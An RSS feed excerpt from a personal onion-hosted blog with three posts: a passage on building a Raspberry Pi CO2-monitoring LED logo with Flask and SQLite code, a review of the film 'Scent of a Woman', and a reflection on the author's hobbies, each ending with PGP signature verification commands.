    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
    +jSoc5w/+Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw
    +0oWl2ZZ6FHKdAo2+gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC+9J
    +CgcvqbZdC+M2c3PcPPA4UV5reYclf9PisEsmJSiR+cyDaCtNJkYjQ9SSZMO+BV93
    +k6I20tEILeR/l72ahSGyGCQxFTkI+cE5EOglG+AJP7HnLArcBUplixjLS7j/gq13
    +U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe+kXXv1wH1yE
    +sfJnMxiQ2YJqxUXDjJNJt1R+4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg
    +sDsV6dgcPJUSvpuZqPmQicTu/+BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP
    +QUuBm7o7sHpSUax7CEE+vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma
    +B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK+9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb
    +Bs+BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh+hXljpEPyQ/Mq3s0X
    +o9h8Z1rq9m7nIwmpLNW+vEiL81/SrnjJE8/+kA/+J2p9TNBYcn8=
    +=tAeg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/inet_logo.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/inet_logo.md.asc
    +gpg --verify inet_logo.md.asc inet_logo.md
    +  
    +
    + + +]]>
    +
    + + Movie review: Scent of a Woman + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/scent_of_a_woman/ + Mon, 13 Oct 2025 08:52:10 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/scent_of_a_woman/ + My reaction to the movie as a not so pro movie watcher + I’m not a big movie watcher. +In fact, I don’t remember the last time I watched a whole movie in a single day. +It’s not that I don’t enjoy it, it’s that I want to do this with at least another person. +It feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched Scent of a Woman on Sunday, and after my therapist encouraged me to do so.

    +

    Few points before I begin.

    +
      +
    • This was aside from the therapy session.
    • +
    • My therapist does not tell me what to do, or if I’m wrong or right or anything like that.
    • +
    • I watched this movie in about two parts in a single day!
    • +
    • I knew Al Pacino’s face from Godfather series, but didn’t know his name.
    • +
    • I’m not a big movie person, so whatever I say should be taken with a grain of salt. Just don’t be offended, take it face up and as is.
    • +
    +

    The movie is about a good young student named Chris O’Donnell, played by Charlie Simms ,who is dependent on a scholarship to continue his studies after school, worthy of going to Harvard.

    +

    The second main character of the movie is a blind man called Lt. Col. Frank Slade, played by Al Pacino, who is an arrogant, rude, assertive, proud, self-centered person that gives bad vibes throughout the movie.

    +

    Chris needs to work over the thanksgiving weekend, just to be able to make it home during Christmas. +He lives with his mother, and a not so nice step-father who isn’t really there for him.

    +

    When taking the job to watch over Frank, he quickly realizes what a hard task this will be, but the lady who hires him (Karen Rossie) being his niece assures him that he is a pile of suger under these bad vibes, and that she needs him to do this for her for these fea days. +At last Chris agrees.

    +

    Upon Karen’s leaving, Frank gets ready for a trip to New York. +To do his last vows before taking his own life without Chris knowing this.

    +

    He plans staying at a nice hotel, having an awesome Meal at a gorgeous restaurant, seeing a woman, his brother, and then taking his own life.

    +

    Frank is in love with Jack Daniel’s and cannot get enough of it. +Throughout the movie this drunk, addiction-like behaviour is portrayed.

    +

    Frank also learns about a problem Chris is facing. +Chris is being forced to snitch on a group of the people he knows, or he will be expelled and loses his chance to got o Harvard with another scholarship. +He doesn’t want to snitch, but frank learns about this, he encourages him to take the deal.

    +

    Frank then tries to teach Chris how to flirt, how to get woman, and how to be a gentleman. +There is an amazing scene in the movie where Frank tries to setup Chris with a girl who is waiting for her boyfriend! +He dances Tango with her and this scene is probably the most majestic scene in any movie I have ever seen. +The feelings I got were so strong and positive that I just cannot express!

    +

    In the end, when Frank wants to take his own life, Chris stops him and talks him out of it. +He helps him to ride a Ferrari, the second thing he liked in his life (the first thing was woman lmao!). +A police officer stopped them because they were going too fast, and Frank spoke his way out of the ticket! +The officer didn’t even recognize Frank was blind!!!!

    +

    After these emotional roller coaster, Chris became ever-so attached to Frank, and so did Frank become attached to Chris, showing up to an open student hearing in place of Chris’s parent.

    +

    Chris ended up not snitching, and Frank spoke up for him, saying how big of a man is he! +How valuable he is, and how disgusting the acts of the other kid who also could snitch but hid behind his father’s back was.

    +

    In essense, the movie was amazing, with great acting all over it. +The characters portreayed their roles as amazingly as possible. +I loved the movie and how we got to know the characters more and more as the movie went on, and how the story progressed.

    +

    The story was also amazing. +Characters really added life to the scenes by their amazing play. +Donna did the tango dance professionaly. +Al Pacino played to role of a blind man very well, you would easily be fooled by his amazing acting.

    +

    That leaves me thinking about why did my therapist suggested me to watch this movie and asked me to tell him how I felt and how I thought about the movie?

    +

    Was it about Frank? +That I was trying to be Chris, protecting and caring for Frank, although his behaviour is horrible? +But Frank gave so much back to Chris. +I guess it is the same for me too, I’m also getting a lot back while making some sacrifices.

    +

    Or maybe was it about that amazing Tango dancing scene? +The sensations that Frank describes about relationships, and how he interacts with woman?

    +

    I honestly do not know. +I just know that watching the movie gave me good feelings. +That I’m a happier Iman than the Iman I was before watching it. +That my feelings and experiences are not abnormal, they are valid. +That I’m on the right track, but still need time to figure out the way. +That I shouldn’t worry too much. +That I should look at everything as a way to have “fun”. +That I shouldn’t overthink things. +That if I mess up, oh well, I should take the responsibility and move on.

    +

    I don’t know what the intention of my therapist was, but I’m so curious! +I want to figure it out. :) +Fell free to cross your fingers for me!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSqQCQ/9EAs8l5fvPCqCfZFBipGWtTJewjXdcCu13/WfX66vXjBdPxzL5pLkLV7Q
    +m6IiKs5GoxJFgNEyfNSjjBNj+NeqxgmYqlephJtf5ubTW+IuSMkinSyvVwkKrxAX
    +QA+1Imf7/4QTyUB6/L+19jk+1Yl2E0IVyJVWbuE0G/ZsB0TiTI/0Te3aKFdIv3lj
    +OAProXMLAaCpasabz8+kQBQsul12h0cjG7A+TSaTgaM+WnE8RuC6C0KV//YeUfvN
    +DuyXHU9DVklkbGSblZw8EKSwLqlbCoPKixeRjVT45OG41eGmGzxYOBEb57zYEfkZ
    +Zmgo6Y8g2fYYU1wMj5bIylfFut0TqenCxSzJX4xqLnAhw0fx9kLCY1aoxR/Mfub5
    +wVNf/2vL14Ef4kfMWg8POj1WrgZc+pSqWUONnTn0yBIl9rjk1LSe9IMtjBHnrIDd
    +GIwrhoAinO9Qyj7UOyoFFCj6JMnLcnhx5Cwn5EGRS9PSrbUbZdFDuYVQ74R/AEHf
    +VX1qD1UK0k84FsHhLLflEPiZypxIZsrXS+BpKKG5wi7mFopvUFuZoPbHdmK2856P
    +e9zZL9e7VOjODn00zR/b6iDMoLUdOxw0rey2LOoNx9Gw42zYb5vuw1djNOgE9D1R
    +57hf02VIRab5Q1ROOnfl05pv1bY5JMQO4Zcp5Me3OFmiQwl/KYU=
    +=/VjG
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/scent_of_a_woman.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/scent_of_a_woman.md.asc
    +gpg --verify scent_of_a_woman.md.asc scent_of_a_woman.md
    +  
    +
    + + +]]>
    +
    + + Hobbies + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hobbies/ + Fri, 10 Oct 2025 07:04:54 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hobbies/ + My point of view on hobbies + When I started my PhD, I was told “get yourself a hobby!” many many times by both my advisor, and the director of the group I worked in. +In fact, when being interviewed for the position, I was asked about my hobbies.

    +

    For some reason I think I have like the weirdest hobbies of all time. +Like, you know, people binge series, go to clubs, bars, hang out, and so on. +But I always had interests in things that when I talk about people get weirded out, or at least some of them do so. +To be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards.

    +

    Let’s go back in time. +What hobbies have I had over the course of my life? +Actually as a kid I used to play games on Mobile for some reason. +I was also quite competative, reaching the highest possible ranks in pretty much every game I played by solo-queueing. +I also enjoyed playing with my brother, but for some reason he always liked games that were not necesserially my most favorite. +Like I liked Vain Glory, and my brother liked Fifa. +We did play both in the end.

    +

    After my brother went to the capital to attend univesity, we bacame more distant. +I had to also focus on my own studies, and was actually struggling in junior-high. +Now that is a story in itself for another time. +I used to play games back then as hobby. +But my real interest was chess. +I was really good at calculating. +I was extremely sharp for my age, but since I was obbese my parents wanted me to take “active” sport classes. +So… getting into a chess class was conditional.

    +

    I have’t really done any chess studying after those early years, and I just know a few openings with little depth. +I do have a relatively good understanding of piece synergy and also ok-ish calculation skills to beat a good portion of people I see on a daily basis, but any professional player would easily beat me out of the opening.

    +

    In high-school I didn’t really have any hobbies. +I did become interested in Basketball, but nothing serious. +It’s funny how I was able to become good at any sport I tried. +I tried Football, Basketball, Volleyball, Table Tennis, Tennis, Chess, Footsal, Swimming, and Badminton. +I think swimming was, and still is my best sport. +I never pursued it though, which is a shame.

    +

    Before starting my Bachelors, I became really interested in Cicada3301, and cryptography. +Well, not the fancy state-of-the-art cryptography, the simple classic methods. +The notion of delivering a message in plain sight that only the two parties envolved can understand it was so cool to me! +That reminds me, we had these special things in junior-high called “Karsoogh” for math, physics, chemistry, and biology. +I think I quilified for pretty much every one of them, and had a blast every time! +In the chemistry one we cooked honey(!), in the biology one they dissected a bunny wabbit (with w to pay respect!), in the physics one we did cool experiments and tried to solve fancy problems. +But the math one was different, it happend between a few close-by NODET cities, and annualy. +The idea was simple. +They gave us questions that did were solveable by developing ideas, with almost always little to no pre-requisite. +Only in one of the years this event was internal, and they taught us 13-15 year young folks basics of cryptography, and ciphers. +We then competed against each other. +The competition was simple, develope a cipher with your team in a n*n (I think n was 6 or 8), then you split up into two groups, one team encrypts a message and you recieve the delivered message, the other team has to decrypt it. +The fastest team gets the most points. +The the message is common between teams. +After this phase the teams got together and had to figure out other teams encryption algorithm, if successful, they got points. +First teams to get an algorithm gets more points. +Our team won the best algorithm in the end, and my ideas were most influential in this achievement! +My teammates became really good friends with me after this competition which felt really cool! +I think this was the reason I became interested in cryptography. +I don’t remember the first year, but the first and last year in the final phase and after qualifying they tought us basics of game theory, and we had a set of two player fair and unfair games for which we had to compete against other players. +If your team solved a game, you got more points. +It was really fun, and since the games happened in parallel, all teammtes had to be active.

    +

    I said all of this just to say thinking on problems became a hobby for me out of all of these cool expereinces. +I like to casually get lost in questions and think about weird equations, or natural problems. +Something like Feynman’s obsession with the spaghetti problem! +Initially when starting my PhD, I did this, but then I diverged to other things I will talk about later on. +But I do want to get back to this fun hobby. +I just need some questions, and an empty mind. +Or I guess some time slots to chill and not stress about my other research.

    +

    During my bachelors, I became fascinated by hardware. +Like sensors, actuators, micro-controllers, and anything that I could program to do something I do but do not want to do manually. +Later on I realized this is related to IoT and Embedded systems. +I did take the embedded systems course, and for the project that the cap was 120 points, we got a wopping 125 out of 100! +Not only we implemented the whole project parts that we had to implement, but also we went beyond and just surprised the professor and his TAs! +Unfortunately I don’t have any images from the project, but the code can be found here.

    +

    I bought myself a raspberrypi, many sensors and actuators, and did small fun projects! +I deployed a VPN on my home network, made my Rpi accessible with dynamic IP over the Internet via DDNS, deployed my very own nextcloud, website, and so on. +I smartified my room AC s.t. it would keep the temprature at a certain range in a way to avoid hysteresis via a simple temprature and humidity sensor, and an IR-transceiver by recording the controllers signal. +I could not figure out how to fix the state when commands don’t go through correctly though, a challenge that I never solved or came up with a solution for. +I would say my love with computers, making things smart, and networking became my main hobby!

    +

    After some protests and Internet blockages, I became interested in setting up VPNs that could penetrate through censorship attempts. +It was, and still is a rat race. +Well, it’s the story of my PhD pretty much now.

    +

    Reading books became a hobby for a while, but Youtube kinda distroyed that. +I really love to get back to reading more books, I have a really exciting list of books to be read in my library. +Listening to Music is another amazing hobby I have, specifically when I walk around or do chores. +I find doing chores so relaxing! +Since we talked about music I should mention I also tried to learn Piano, but didn’t pursue it. +I actaully wanted to learn Violine, but the consultant we talked to said “if you’re not a hard worker it won’t workout for you”, and since my brother was going to learn Piano, I followed suit. +And oh well, our teacher although he though I was doing really good for my age, did not give me the same set of practices that my brother got, and naturally since I was learning from kids books, I felt sad since his music always sounded better, and I eventually gave up feeling sad. +This is a pattern that has happened in my life a lot, something I need to stop from happening. +Comparing myself with other, and competing with them. +It’s just distroying me mentally. +I am me, and the best me ever to exist. +And that’s how it should be.

    +

